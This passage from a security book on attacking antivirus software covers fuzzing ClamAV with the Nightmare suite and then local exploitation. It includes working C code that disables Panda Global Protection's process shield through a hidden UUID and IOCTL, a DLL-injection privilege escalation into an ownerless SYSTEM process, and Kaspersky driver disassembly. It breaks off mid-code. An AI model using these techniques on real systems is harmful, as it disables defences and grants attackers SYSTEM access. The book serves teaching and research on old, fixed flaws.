interesting change at 0x2712c! Covered basic blocks 30077, 
original maximum 30074
[Wed Apr 22 13:39:45 2015 28514:139923369727808] Writing discovered
generation file 0d409746bd76a546d2e8ef4535674c60daa90021 
(out/generation_0d409746bd76a546d2e8ef4535674c60daa90021.lnk)
[Wed Apr 22 13:39:45 2015 28514:139923369727808] New statistics:
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Min 30074, Max 30077, Avg 30075.500000
[Wed Apr 22 13:40:28 2015 28514:139923369727808] Dropping current
generation and statistics as we have too many bad results
[Wed Apr 22 13:40:28 2015 28514:139923369727808] Statistics: Min 30071,
Max 30074, Avg 30072.500000, Bugs 0
[Wed Apr 22 13:40:28 2015 28514:139923369727808] Iteration 1927,
current generation value -7, total generation(s) preserved 7
(…)

In this example, the BCCF tool created a number of maximized fi les, and 

the last iteration at the time of checking successfully increased the code 

covered from a maximum of 24,588 basic blocks to 30,074 basic blocks: 5,486 

more basic blocks!

Nightmare, the Fuzzing Suite

Nightmare is a distributed fuzzing suite with central administration. It focuses on 

Linux servers, although it works just as well in Windows and Mac OS X. You will 

use this fuzzing suite to dynamically test various antivirus products. Previous 

sections already indicated where you can download the Nightmare fuzzing suite, 

but just in case, here is the URL: https://github.com/joxeankoret/nightmare/.

You can download a copy of the latest version of the fuzzing suite by issuing 

the following command to clone the repository:

$ git clone https://github.com/joxeankoret/nightmare.git

Once you have downloaded the installer, open doc/install.txt and  follow 

each step. There is also an online copy of the install.txt fi le at https://github

.com/joxeankoret/nightmare/blob/master/doc/install.txt.

Basically, you need to install the dependencies that are required by Nightmare:

■ Python—By default, this is installed in both Linux and Mac OS X but not

in Windows.

■ MySQL server— It will be used as the storage for crashes information.

■ Capstone Python bindings—You need the Python bindings for this 

embedded disassembler library. You can download them from 

www.capstone-engine.org/download.html.

■ Beanstalkd—You can install this program in Linux by simply issuing the 

command apt-get install beanstalkd.

■ Radamsa—This is one of the multiple mutators that Nightmare uses. 

To download Radamsa, along with installation instructions, go to 

https://code.google.com/p/ouspg/wiki/Radamsa.
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Optionally, for some mutators (for example, the intelligent mutators for fi le 

formats such as MachO or OLE2 containers) and for binary instrumentation, 

you need to install the following dependencies:

■ DynamoRIO—An open-source binary instrumentation toolkit, which 

you can download from www.dynamorio.org/.

■ Zzuf—A multi-purpose fuzzer. You can install it in Linux by issuing the

command apt-get install zzuf.

■ Python macholib—A pure Python parser for MachO fi les, which you can

download from https://pypi.python.org/pypi/macholib/.

After you have successfully installed all the dependencies and created the 

MySQL database schema, you can fi nish setting up the Nightmare fuzzing suite 

by issuing the following command:

$ cd nightmare/runtime
$ python nightmare_frontend.py

It starts a web server listening by default at localhost:8080. You simply need 

to navigate using your favorite web browser to http://localhost:8080, click

the Confi guration link, and confi gure the samples path, the templates path, 

the installation path, the queue host server (the address where Beanstalkd is 

listening), and its port (by default, 11300), as shown in Figure 13-1.

Figure 13-1:  Final configuration of the Nightmare fuzzing suite

After confi guring these fi elds, you only need to confi gure the targets to be fuzzed.

Confi guring Nightmare

You start confi guring Nightmare by setting up the ClamAV antivirus for 

Linux as your target. You need to install it on a Linux machine by issuing the 

following command:

$ sudo apt-get install clamav
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To add a new fuzzing target to Nightmare, you can click the Projects link. A 

web page appears, similar to Figure 13-2.

Figure 13-2:  Starting a new fuzzing project in Nightmare

Fill in the fi elds for the new project. Add a name for the project, an optional 

description, and the subfolder inside $NIGHTMARE_DIR/samples/ with all the

sample fi les that you will use as templates. Specify the tube prefi x, which is 

the name of a Beanstalk’s tube, to push jobs for the workers. Indicate the maxi-

mum number of samples to always maintain in the queue (for multiprocessing 

or multi-nodes), as well as the maximum number of iterations without a crash 

before you stop the project. Once you have fi lled in all the fi elds, click Add New 

Project and voilà! You have a new project.

Next, you need to assign mutation engines to the project. On the left side 

of the interface, you see the Project Engines link; click it, and then select the 

mutation engines that you want. In the case of antivirus products, the following 

engines are recommended:

■ Radamsa multiple—This creates a ZIP fi le with multiple (10) mutated 

fi les inside.

■ Simple replacer multiple—This creates a ZIP fi le with multiple fi les, but 

instead of using Radamsa, it replaces one randomly selected character 

with a randomly selected part of the original buffer.

■ Charlie Miller multiple—This works like the previous options, but this

time using an algorithm that Charlie Miller demonstrated at CanSecWest 

in 2008.

In general, it is always best to create bundles with multiple fi les as opposed 

to creating just a single fi le and running a full instance of the antivirus engine 

for each fi le you create.
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Finding Samples

The next step is to fi nd the right samples for this project. If you do not have any, 

you can click the Samples link on the left side of the interface. It uses Google to 

automatically download fi les that have specifi ed the fi le format. For this test, 

try to download some PDF fi les to fuzz ClamAV. Click the Samples link and 

then fi ll in the form, as shown in Figure 13-3.

Figure 13-3:  Finding samples with the Nightmare fuzzing suite

Go grab a coffee—it will take some time. After a while, you will have a set of 

freshly downloaded PDF fi les in the samples/av subdirectory.

Confi guring and Running the Fuzzer 

To confi gure the fuzzer, you need to go to the directory nightmare/fuzzers,

edit the fi le generic.cfg, and add the following lines:

#-----------------------------------------------------------------------
# Configuration for ClamAV
#-----------------------------------------------------------------------
[ClamAV]
# Command line to launch it
command=/usr/bin/clamscan --quiet
# Base tube name
basetube=clamav
# The tube the fuzzer will use to pull of samples
tube=%(basetube)s-samples
# The tube the fuzzer will use to record crashes
crash-tube=%(basetube)s-crash
# Extension for the files to be fuzzed
extension=.fil
# Timeout for this fuzzer
timeout=90
# Environment
environment=clamav-environment

[clamav-environment]
MALLOC_CHECK_=3
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As before with the BCCF fuzzer, you need to set up the command to run, the 

environment variables before running the target, and the time-out. However, 

this time, you also need to confi gure other variables, such as the tube prefi x 

(or base tube) where the jobs for this fuzzing project will be left, as well as the 

crash tube (the tube where all the crashing information will be left). Once you have 

everything confi gured, open a terminal and execute the following commands:

$ cd nightmare/fuzzers
joxean@box:~/nightmare/fuzzers$ ./generic_fuzzer.py generic.cfg ClamAV

An output similar to this appears in the terminal:

[Wed Apr 22 19:07:35 2015 19453:140279998961472] Launching fuzzer,
listening in tube clamav-samples

The fuzzer starts waiting for jobs indefi nitely. You need to run another 

 command to really start fuzzing this project.

In another terminal, run the following command to create samples for your 

project:

$ cd nightmare/runtime
$ python nfp_engine.py
 [Wed Apr 22 19:11:35 2015 20075:139868713940800] Reading configuration 
from database...
[Wed Apr 22 19:11:35 2015 20075:139868713940800] Configuration value
SAMPLES_PATH is /home/joxean/nightmare/results
[Wed Apr 22 19:11:35 2015 20075:139868713940800] Configuration value
TEMPLATES_PATH is /home/joxean/nightmare/samples
[Wed Apr 22 19:11:35 2015 20075:139868713940800] Configuration value
NIGHTMARE_PATH is /home/joxean/nightmare
[Wed Apr 22 19:11:35 2015 20075:139868713940800] Configuration value
QUEUE_HOST is localhost
[Wed Apr 22 19:11:35 2015 20075:139868713940800] Configuration value
QUEUE_PORT is 11300
[Wed Apr 22 19:11:35 2015 20075:139868713940800] Starting generator...
[Wed Apr 22 19:11:35 2015 20075:139868713940800] Creating sample for
ClamAV from folder av for tube clamav mutator Radamsa multiple
[Wed Apr 22 19:11:35 2015 20075:139868713940800] Generating mutated file 
/home/joxean/nightmare/results/tmpfZ8uLu
[Wed Apr 22 19:11:35 2015 20075:139868713940800] Putting it in queue and 
updating statistics...
[Wed Apr 22 19:11:35 2015 20075:139868713940800] Creating sample for
ClamAV from folder av for tube clamav mutator Radamsa multiple
[Wed Apr 22 19:11:35 2015 20075:139868713940800] Generating mutated file 
/home/joxean/nightmare/results/tmpM4wbSE
[Wed Apr 22 19:11:35 2015 20075:139868713940800] Putting it in queue and 
updating statistics...
[Wed Apr 22 19:11:35 2015 20075:139868713940800] Creating sample for
ClamAV from folder av for tube clamav mutator Radamsa multiple
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[Wed Apr 22 19:11:35 2015 20075:139868713940800] Generating mutated file 
/home/joxean/nightmare/results/tmp44Nk6G
[Wed Apr 22 19:11:36 2015 20075:139868713940800] Putting it in queue and 
updating statistics...
[Wed Apr 22 19:11:36 2015 20075:139868713940800] Creating sample for
ClamAV from folder av for tube clamav mutator Radamsa multiple
[Wed Apr 22 19:11:36 2015 20075:139868713940800] Generating mutated file 
/home/joxean/nightmare/results/tmptRy_Je
[Wed Apr 22 19:11:37 2015 20075:139868713940800] Putting it in queue and 
updating statistics...
(…)

The nfp_engine.py scripts creates samples and puts them in the queue. Now, 

if you go back to the terminal where the fuzzer was waiting for jobs, you should 

see something similar to the following:

$ python generic_fuzzer.py generic.cfg ClamAV
[Wed Apr 22 19:14:47 2015 20324:140432407086912] Launching fuzzer,
listening in tube clamav-samples
[Wed Apr 22 19:14:47 2015 20324:140432407086912] Launching debugger with 
command /usr/bin/clamscan --quiet /tmp/tmpbdMx7p.fil
[Wed Apr 22 19:14:52 2015 20324:140432407086912] Launching debugger with 
command /usr/bin/clamscan --quiet /tmp/tmpwxEVO2.fil
(…)
[Wed Apr 22 19:15:37 2015 20324:140432407086912] Launching debugger with 
command /usr/bin/clamscan --quiet /tmp/tmptBJ0cr.fil
LibClamAV Warning: Bytecode runtime error at line 56, col 9
LibClamAV Warning: [Bytecode JIT]: recovered from error
LibClamAV Warning: [Bytecode JIT]: JITed code intercepted runtime error!
LibClamAV Warning: Bytecode 40 failed to run: Error during bytecode
execution
(…)
[Wed Apr 22 19:16:55 2015 20324:140432407086912] Launching debugger with 
command /usr/bin/clamscan --quiet /tmp/tmpRAoDQ2.fil
LibClamAV Warning: cli_scanicon: found 6 invalid icon entries of 6 total
[Wed Apr 22 19:17:57 2015 20324:140432407086912] Launching debugger with 
command /usr/bin/clamscan --quiet /tmp/tmpOOIWnE.fil
LibClamAV Warning: PE file contains 16389 sections
(…)

You fi nally have the fuzzer running! It will launch the target process, clam-

scan, under a debugging interface and will record any crash that happens in 

the target during the course of this project. You can view the statistics and 

results, if any, in the front-end web application. Go back to the web appli-

cation and click the Statistics link. You should see results similar to those 

shown in Figure 13-4.
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Figure 13-4:  View your fuzzing statistics.

Eventually, if you are lucky enough and you have selected a good set of 

template fi les, the target process crashes. Once you have at least one crash, you 

can click the Results link. A window similar to the one in Figure 13-5 appears.

Figure 13-5:  View your fuzzing results.

You can download the crashing samples, and a diff with all the changes 

that were made to the fi le, in order to create an input that triggers the bug and 

inspects the register values, the calls stack, and so on.
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Summary

Dynamic analysis techniques encompass a set of methods that are used to extract 

runtime and behavior information from applications. This chapter covered two 

dynamic analysis techniques: fuzzing and code coverage.

Fuzzing is a technique that is based on providing unexpected or malformed 

input data to a target program, trying to crash it. Fuzzing tools, ranging from 

simple fuzzers to advanced fuzzers, usually have the following feature-set:

■ Mutators—These algorithms make changes to a template, input fi le, or 

protocol or fi le format specifi cation.

■ Instrumentation tools—These are libraries or programs that let you instru-

ment your target application in order to record instructions and basic 

blocks execution and catch exceptions and errors, among other things.

■ Bug triaging and crash management tools—These tools make it easy to

capture crashing samples, classify them, and generate reports that will 

help investigate the crash.

■ Code coverage tools—These tools help you fi nd new code paths that 

could potentially be buggy.

For fuzzers to work effectively, it is important that you choose the right input 

fi les to be used as the template. When choosing templates fi les, consider the 

functionality they exercise when opened in the target program. To fi nd template 

fi les, look for certain fi le types on your computer, use Google search queries 

(using the filetype fi lter), or download test fi les from other available antivirus 

test suites and use those test fi les as templates.

Code coverage is a dynamic analysis technique that is based on instrumenting 

the target application while it is running to determine the number of different 

instructions, basic blocks, or functions it executed. Code coverage is usually 

part of a fuzzer suite. Its goal is to fi nd new code paths that have not been yet 

explored and that could reveal relevant bugs. This chapter touches on two code 

coverage techniques:

■ Using symbolic execution and SMT solvers to translate the code executed 

or found in a target binary, get the predicates used in the code, abstract 

them, generate SMT formulas, and let the SMT solver fi nd all possible 

modifi cations to the inputs that would cover more code

■ Performing random or half-random mutations to template fi les and running 

them under instrumentation to determine whether these new mutations 

actually lead to the discovery of new code path execution
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Putting it all together, a fuzzer works like this:

1. The fuzzer starts with a template fi le and a target program.

2. The template fi le is mutated and a new fi le is generated.

3. The new input fi le is passed to the target program, which happens to be 

running under instrumentation tools.

4. Crashes are recorded along with the input fi le that caused the crash.

5. Input fi les that cause new code blocks execution, as captured during 

instrumentation, may be used as templates for another iteration of the 

fuzzer.

6. All of the above constitute one round or iteration. The whole process may 

be repeated indefi nitely until the desired number of iterations is achieved 

or enough bugs have been discovered.

Toward the end of the chapter, a hands-on section was devoted to showing 

you how to install, confi gure, and use the Nightmare fuzzing suite.

Equipped with all this practical knowledge, you are now confi dently set to 

start fuzzing antivirus software, or any other application for that matter.

The next chapter covers how to fi nd and exploit bugs in the antivirus that is 

running locally, when the attacker has already gained initial access to the target 

via remote exploitation, for example. 
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Local exploitation techniques are used to exploit a product, or one of its 

 components, when you have access to the computer being targeted. 

Local exploitation techniques can be used, for instance, after a successful 

remote attack to escalate privileges, or they can be used alone if you already 

have access to the target machine. Such techniques usually offer a way to 

escalate privileges from those of a normal unprivileged user to those of a 

more privileged user (such as a SYSTEM or root user) or, in the worst cases, 

even to kernel level. These techniques usually exploit the following kinds 

of bugs:

■ Memory corruptions—This refers to a memory corruption in a local

service running with high privileges. An exploit’s ability to capitalize 

on such a vulnerability is usually low, depending on the actual vulner-

ability and the exploitation mitigations offered by the compiler and the 

operating system.

■ Bad permissions—This type of vulnerability occurs in a local service 

and is caused by incorrectly setting the privileges or access control lists 

(ACLs) to objects. For example, a SYSTEM process with a null ACL is 

easy to exploit, usually with 100-percent reliability.

C H A P T E R 

14

Local Exploitationploitation
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■ Logical vulnerabilities—These are the most elegant but also the  hardest 

types of vulnerabilities to fi nd. A logical vulnerability is commonly 

a design-time fl aw that allows the takeover of a privileged resource 

through perfectly legal means, typically the same means that the antivirus 

itself uses. The ease with which these vulnerabilities can be exploited 

depends on the particular design fl aw being targeted, but their reli-

ability index is 100 percent. Even better, such vulnerabilities cannot be 

easily fi xed because they may require making signifi cant changes in 

the product. The bug could be deeply integrated and interwoven with 

other components in the product, making it hard to fi x the bug without 

introducing other bugs.

The following sections discuss how such local vulnerabilities can be exploited, 

by showing some actual, but old, vulnerabilities in antivirus products.

Exploiting Backdoors and Hidden Features

Some products contain specifi c backdoors or hidden features that make it 

easier to debug problems or to enable or disable specifi c features in the product 

(typically used by the support technicians). These backdoors are very useful 

during the development of the product, but if they are left in the product after 

its release—by mistake or by choice—they will eventually be discovered and 

abused by attackers. These bugs can be intentional, as when they are used 

to help support technicians, or they can be unintentional, because of poor 

design choices. Remember, nothing can be hidden from reverse-engineers, 

and obfuscation will not fend off determined hackers: any backdoor, left 

open, will be abused sooner or later.

For example, one vulnerability, which is now fi xed, used to affect the 

Panda Global Protection antivirus up until the 2013 version. This antivirus 

product was one of the worst I ever evaluated: after analyzing the local attack 

surface for less than a day, I decided not to continue the analysis because 

I had already discovered three local vulnerabilities for it. One of the fi rst 

vulnerabilities I discovered was due to a bad design choice. To prevent the 

antivirus processes from being killed by a malicious process running in 

the same machine, which is usually called an “AV killer,” the product used 

a kernel driver that enabled the protection of some processes, as shown in 

Figure 14-1.

However, this kernel driver could be communicated with freely by any pro-

cess, and, unfortunately, there was an I/O Control Code (IOCTL) that was used 

to disable the protection.
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Figure 14-1:  Panda’s shield prevented termination of a Panda process using the Task Manager.

Before going into more detail, I will show how I discovered this vulner-

ability. One library installed by Panda Global Protection was called pavshld

.dll; it drew my attention. This library exported a set of functions with 

human readable names, except for PAVSHLD_001 and PAVSHLD_002. After I took

a brief look at the fi rst function, it was clear that something was hidden. The 

only parameter received by this function was equal to the secret universally 

unique identifi er (UUID) ae217538-194a-4178-9a8f-2606b94d9f13. If the

given UUID was correct, then a set of functions was called, some of them 

making registry changes. After noticing this curious code, I decided to write 

a quick C++ application to see what happened when this function was called 

with the magic UUID value:

/**
 Tool to disable the shield (auto-protection) of Panda Global Protection 

*/
#include <iostream>
#include <windows.h>
#include <rpc.h>

using namespace std;
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typedef BOOL (*disable_shield_t)(UUID*);

int main()
{
  HMODULE hlib = LoadLibrary("C:\\Program Files (x86)\\Common Files\\"
                             "Panda Security\\PavShld\\PavShld.dll");
  if ( hlib )
  {
    cout << "[+] Loaded pavshld.dll library" << endl;

    UUID secret_key;
    UuidFromString(
       (unsigned char *)"ae217538-194a-4178-9a8f-2606b94d9f13",
       &secret_key);

    disable_shield_t p_disable_shield;

    p_disable_shield = (disable_shield_t)GetProcAddress(hlib,
                                         "PAVSHLD_0001");
    if ( p_disable_shield != NULL )
    {
      cout << "[+] Resolved function PAVSHLD_0001" << endl;
      if ( p_disable_shield(&secret_key) )
        cout << "[+] Antivirus disabled!" << endl;
      else
        cout << "[-] Failed to disable antivirus: " << GetLastError() 
             << endl;
    }
    else
      cout << "[-] Cannot resolve function PAVSHLD_0001 :(" << endl;
  }
  else
  {
    cout << "Cannot load pavshld.dll library, sorry" << endl;
  }
  return 0;
}

This tool simply loaded the PavShld.dll library and called that exported 

function. After running this tool in a machine with the Panda Global Protection 

2012 product installed, I discovered that I could kill the Panda processes by 

simply using the Windows Task Manager. I tried this as a normal user and 

also as another, even less privileged user that I created just for the sake of 

experiment; the results were the same. Before running the tool I was not able 

to kill any processes, and after running the tool I was able to kill the Panda 

processes. This was bad. However, I was wrong when I thought that the library 

was simply writing registry keys; the library actually called another library in 
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addition: ProcProt.dll. The PAVSHLD_001 function checked whether the secret 

UUID was given and included this section of code:

.text:3DA26272 loc_3DA26272: ; CODE XREF: PAVSHLD_0001+5Bj

.text:3DA26272   call    sub_3DA260A0

.text:3DA26277   call    check_supported_os

.text:3DA2627C   test    eax, eax

.text:3DA2627E   jz      short loc_3DA26286
; ProcProt.dll!Func_0056 is meant to disable the av's shield
.text:3DA26280  call    g_Func_0056

The g_Func_0056 function, as I chose to call it, was a function in the 

ProcProt.dll library that was dynamically resolved via the typical LoadLibrary

and GetProcAddress function calls. A quick look at the function’s disassembly

listing in IDA did not reveal anything exciting; however, pressing the minus 

key on the number pad, to toggle the Proximity Browser, revealed a call graph 

of this function and interesting callers and callees, as shown in Figure 14-2.

Figure 14-2:  Call graph of ProcProt!Func_0056

At least two functions that were called from the exported Func_0056 ended up

calling the Windows API DeviceIoControl, a function used to communicate with 

a kernel device driver. The function sub_3EA05180, called from the exported library

function Func_0056, called this API, as shown in the following assembly code:

.text:3EA0519F loc_3EA0519F    ; CODE XREF: sub_3EA05180+11j

.text:3EA0519F  push    0           ; lpOverlapped

.text:3EA051A1  lea     ecx, [esp+8+BytesReturned]

.text:3EA051A5  push    ecx         ; lpBytesReturned

.text:3EA051A6  push    0           ; nOutBufferSize

.text:3EA051A8  push    0           ; lpOutBuffer

.text:3EA051AA  push    0           ; nInBufferSize

.text:3EA051AC  push    0           ; lpInBuffer

.text:3EA051AE  push   86062018h  ; IoControlCode to disable the shield

.text:3EA051B3  push    eax         ; hDevice
; Final DeviceIoControl to instruct the driver to disable the protection
.text:3EA051B4  call    ds:DeviceIoControl
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So, believe it or not, the previous backdoor in PavShld.dll, which activated

only when the hidden UUID string was passed, was not even required at all!

It’s possible to disable the driver by knowing the symbolic link name exposed 

by the kernel driver and the IOCTL code to send. Once you have retrieved those 

two pieces of information by disassembling the library, you can use code like 

the following to disable the antivirus shield:

#include <windows.h>

int main(int argc, char **argv)
{
  HANDLE hDevice = CreateFileA(
"\\\\.\\Global\\PAVPROTECT", // DOS device name
0,
1u, 
0,
3u, 
0x80u, 0);
  if ( hDevice )
  {
    DWORD BytesReturned;
    DeviceIoControl(
hDevice,
0x86062018, 
0, 0, 0, 0, &BytesReturned, 0);
  }
  return 0;
}

This logical error is easy to discover by using static analysis techniques. The 

next section shows how to fi nd even easier design and logic errors in a program.

Finding Invalid Privileges, Permissions, and ACLs

In Windows operating systems in particular, system objects with incorrect or 

inappropriately secured ACLs are common. For instance, a privileged applica-

tion, running as SYSTEM, uses some objects with insecure privileges (ACLs) 

that allow a normal non-privileged user to modify or interact with them in a 

way that allows the escalation of privileges. For example, sometimes a process

or application thread is executed as SYSTEM, and with the highest possible 

integrity level (also SYSTEM), but has no owner. It sounds odd, right? Well, 

you may be surprised by the number of products that used to have such bugs: 

Windows versions of the Oracle and IBM DB2 databases suffered from this 

vulnerability, and at least one antivirus product, Panda Global Protection 2012, 

was vulnerable at the time I was researching security fl aws.

One of the fi rst actions to perform when doing an audit of a new product is 

to install it, reboot the machine, and briefl y analyze the local attack surface by 
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reviewing the services the product installs, the processes, the permissions of 

each object from each privileged process it installs, and so on. During the fi rst 

few minutes of auditing Panda Global Protection 2012, I discovered a curious 

bug similar to others that I already knew about: incorrect or absent object per-

missions. These kinds of problems can be discovered by using a tool such as 

the SysInternal Process Explorer, as shown in Figure 14-3.

Figure 14-3:  Security properties of the WebProxy.exe process

Figure 14-3 shows that there is one process named WebProxy.exe, which

runs as the NT AUTHORITY\SYSTEM user, with the highest integrity level

(SYSTEM). However, the permissions of the actual process are too relaxed; it 

simply has no owner! The following information appears in the Permissions 

dialog box (boldface is used for emphasis):

No permissions have been assigned for this object.

Warning: this is a potential security risk because anyone who can access thisk
object can take ownership of it. The object’s owner should assign permissions as 
soon as possible.

The Process Explorer tool clearly shows that there is a potential security risk 

because anyone who can access this object—which translates to any user in the 

local machine, regardless of the user’s privileges—can take ownership of this 

process. It means that a low privileged process, such as a tab in Google Chrome 



276 Part  III6 ■ Analysis and Exploitation

or the latest versions of Internet Explorer, the ones that run inside the sandbox,

can take ownership of an entire process running as SYSTEM. This means that 

this antivirus product can be used as a quick and easy way to break out of the 

sandbox and to escalate privileges to one of the highest levels: SYSTEM. For this 

scenario to occur, the attacker fi rst needs to identify a bug in the chosen browser, 

exploit it, and use this vulnerability as the last stage of the exploit. Naturally, 

if an attacker does not have a bug for the chosen browser, this does not apply. 

But fi nding bugs in browsers is not actually a complex task.

Needless to say, this bug is horrible. Unfortunately, though, these kinds of 

oversights and bugs happen in security products. In any case, this is fortunate 

for hackers because they can write exploits for them! This is likely one of the 

easiest exploits to write for escalation of privileges: you simply need to take 

ownership of this process or, for example, to inject a thread into its process 

context. You can do practically anything you want with an orphaned process. 

This example injects a DLL using a tool called RemoteDLL, which is available 

from http://securityxploded.com/remotedll.php.

Once you download it, you can unpack it in a directory and execute the fi le 

named RemoteDll32.exe under the Portable subdirectory. A dialog box appears,

like the one shown in Figure 14-4.

Figure 14-4:  User interface of the RemoteDLL injector tool
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In this tool, you need to leave the default options for Operation and Inject 

Method and a target process corresponding to the vulnerable WebProxy.exe

process. Then, you need to create a simple DLL library to inject before select-

ing it in the RemoteDLL injector’s GUI. Use the following simple library in 

C language:

#include <Windows.h>
#include <stdlib.h>

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
)
{
       switch (ul_reason_for_call)
       {
       case DLL_PROCESS_ATTACH:
           // Real code would go here
           break;
       case DLL_THREAD_ATTACH:
       case DLL_THREAD_DETACH:
       case DLL_PROCESS_DETACH:
           break;
       }
       return TRUE;
}

This stub library actually does nothing. (You can choose to do anything you 

want when the library is loaded, at the time the DLL_PROCESS_ATTACH event hap-

pens.) Compile it as a DLL with your favorite compiler, for example, Microsoft 

Visual Studio, and then select the path of the output library in the RemoteDLL 

fi eld labeled DLL Name. After that, you simply need to click the Inject DLL 

button. However, surprise—the attack is detected and blocked by the Panda 

antivirus product. It displays a message such as “Dangerous operation blocked!” 

as shown in Figure 14-5 (which appears in Spanish).

The antivirus log indicates that the CreateRemoteThread API call that the

RemoteDLL tool used to inject a DLL was caught. You have a few choices to 

continue:

 1. Disable the shield, as it is probably the one responsible for catching the

injection; or

 2. Use another method.
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Figure 14-5:  Panda blocks your attempt to inject a DLL.

If you know of no other way to disable the shield, can you still inject a DLL 

using another method? Luckily, the RemoteDLL tool offers another way to inject 

a DLL using the undocumented NtCreateThread native API. Instead of using 

CreateRemoteThread, it directly calls the NtCreateThread function (which is

called by CreateRemoteThread internally). From the Injection Method drop-

down list, select NTCreateThread [undocumented] and click the Inject DLL 

button again. After you click the button, the GUI seems to freeze, but if you 

take a look with the SysInternal Process Explorer tool, you see results similar 

to those in Figure 14-6.

Figure 14-6:  Panda is successfully owned.
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Your library is loaded in the process space of the application, running as 

SYSTEM. After proving that it works, you could write a more complex exploit 

using the NtCreateThread method to inject a DLL, for example, a Metasploit

meterpreter library that would connect to a machine you control and that is 

running the Metasploit console. This is just a single example, but in reality, you 

can do practically anything you want.

Searching Kernel-Land for Hidden Features

I already discussed some vulnerabilities that were caused because of hidden 

features. These hidden features, such as the secret UUID and the IOCTL code 

in the Panda Global Protection antivirus used to disable protection, are com-

mon in antivirus products. Some of them are intended, such as the previously 

discussed vulnerability that could be used by support people, and others are 

not, such as the next vulnerability discussed.

In 2006, the security researcher Ruben Santamarta reported an interesting 

vulnerability in Kaspersky Internet Security 6.0. This old version of the Kaspersky 

antivirus tool used two drivers to hook NDIS and TDI systems. The drivers 

responsible for hooking such systems were, respectively, KLICK.SYS and KLIN

.SYS. Both drivers implemented a plug-in system so that callbacks from other

components could be installed. The registration of each plug-in was triggered 

by an internal IOCTL code. The ACL of the device driver registered by the KLICK

.SYS driver—the one hooking the NDIS system—was not restrictive, and so 

any user could write to the \\.\KLICK DOS device, which in turn would allowK

any user to take advantage of a hidden feature in that kernel driver. The IOCTL 

code 0x80052110 was meant to register a callback from a plug-in of the KLICK

.SYS driver. Here is a look at the driver’s DriverEntry method:

.text:00010A3D ; NTSTATUS __cdecl DriverEntry(PDRIVER_OBJECT 
DriverObject,
 PUNICODE_STRING RegistryPath)
.text:00010A3D   public DriverEntry
.text:00010A3D DriverEntry proc near
.text:00010A3D
.text:00010A3D SourceString= word ptr -800h
.text:00010A3D var_30= UNICODE_STRING ptr -30h
.text:00010A3D var_28= byte ptr -28h
.text:00010A3D AnsiString= STRING ptr -1Ch
.text:00010A3D DestinationString= UNICODE_STRING ptr -14h
.text:00010A3D SymbolicLinkName= UNICODE_STRING ptr -0Ch
.text:00010A3D ResultLength= dword ptr -4
.text:00010A3D DriverObject= dword ptr  8
.text:00010A3D RegistryPath= dword ptr  0Ch
.text:00010A3D
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.text:00010A3D   push    ebp

.text:00010A3E   mov     ebp, esp

.text:00010A40   sub     esp, 800h

.text:00010A46   push    ebx

.text:00010A47   push    esi

.text:00010A48   mov     esi, ds:RtlInitUnicodeString

.text:00010A4E   push    edi

.text:00010A4F   lea     eax, [ebp+DestinationString]

.text:00010A52   push    offset SourceString ; \Device\klick

.text:00010A57   push    eax ; DestinationString

.text:00010A58   call    esi ; RtlInitUnicodeString

.text:00010A5A   lea     eax, [ebp+SymbolicLinkName]

.text:00010A5D   push    offset aDosdevicesKlic ; \DosDevices\klick

.text:00010A62   push    eax ; DestinationString

.text:00010A63   call    esi ; RtlInitUnicodeString

.text:00010A65   mov     ebx, [ebp+DriverObject]

.text:00010A68   xor     esi, esi

.text:00010A6A   push    offset DeviceObject ; DeviceObject

.text:00010A6F   push    esi ; Exclusive

.text:00010A70   push    esi ; DeviceCharacteristics

.text:00010A71   lea     eax, [ebp+DestinationString]

.text:00010A74   push    22h ; DeviceType

.text:00010A76   push    eax ; DeviceName

.text:00010A77   push    esi ; DeviceExtensionSize

.text:00010A78   push    ebx

.text:00010A79   call    uninteresting_10888

.text:00010A7E   push    eax ; DriverObject

.text:00010A7F   call    ds:IoCreateDevice

It starts by creating the device driver, \Device\Klick, and its corresponding 

symbolic link name, \DosDevices\klick. Then, the address of the function 

device_handler is copied over the DriverObject->MajorFunction array:

.text:00010A97   lea     edi, [ebx+_DRIVER_OBJECT.MajorFunction]

.text:00010A9A   pop     ecx

.text:00010A9B   mov     eax, offset device_handler
; Copy the device_handler to the MajorFunction table
.text:00010AA0   rep stosd 

This function, device_handler, is the one you want to analyze to determine

which IOCTLs are handled and how. If you go to this function, you see pseudo-

code similar to the following:

NTSTATUS __stdcall device_handler(
    PDEVICE_OBJECT dev_obj, struct _IRP *Irp)
{
  NTSTATUS err; // ebp@1
  _IO_STACK_LOCATION *CurrentStackLocation; // eax@1
  unsigned int InputBufferLength; // edx@1
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  unsigned int maybe_write_length; // edi@1
  unsigned int io_control_code; // ebx@1
  UCHAR irp_func; // al@1

  err = 0;
  CurrentStackLocation =
     (_IO_STACK_LOCATION *)Irp->Tail.Overlay
.CurrentStackLocation;
  InputBufferLength =
     CurrentStackLocation->Parameters.DeviceIoControl
.InputBufferLength;

  maybe_write_length = CurrentStackLocation->Parameters.Write
.Length;

  io_control_code =
    CurrentStackLocation->Parameters.DeviceIoControl
.IoControlCode;

  irp_func = CurrentStackLocation->MajorFunction;
  if ( irp_func == IRP_MJ_DEVICE_CONTROL ||
       irp_func == IRP_MJ_INTERNAL_DEVICE_CONTROL )
    err = internal_device_handler(
                    io_control_code,
                    Irp->AssociatedIrp.SystemBuffer,
                    InputBufferLength,
                    Irp->AssociatedIrp.SystemBuffer,
                    maybe_write_length,
                    &Irp->IoStatus.Information);

  Irp->IoStatus.anonymous_0.Status = err;
  IofCompleteRequest(Irp, 0);
  return err;
}

As you can see, it is taking the input arguments sent to the IOCTL code 

and the IoControlCode and sending it to another function that I called 

internal_device_handler. In this function, depending on the IOCTL code, it 

eventually calls another function, sub_1172A:

001170C loc_1170C: ; CODE XREF: internal_device_handler+1Ej
001170C                                   ; internal_device_handler+25j
001170C   push    [ebp+iostatus_info]     ; iostatus_info
001170F   push    [ebp+write_length]      ; write_length
0011712   push    [ebp+system_buf_write]  ; SystemBufferWrite
0011715   push    [ebp+input_buf_length]  ; InputBufferLength
0011718   push    [ebp+SystemBuffer]      ; SystemBuffer
001171B   push    eax                     ; a2
001171C   call    sub_1172A
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In the sub_1172A function, the vulnerability becomes easy to spot. If you

open the pseudo-code using the Hex-Rays decompiler, and check the code that 

handles the IOCTL code 0x80052110, you fi nd a curious type cast:

 (…)
  if ( io_control_code == 0x80052110 )
  {
    if ( SystemBuffer && InputBufferLength >= 8 )
    {
      v10 = (void *)(*(int (__cdecl **)(_DWORD))(*this + 20))(0);
      if ( v10 )
      {
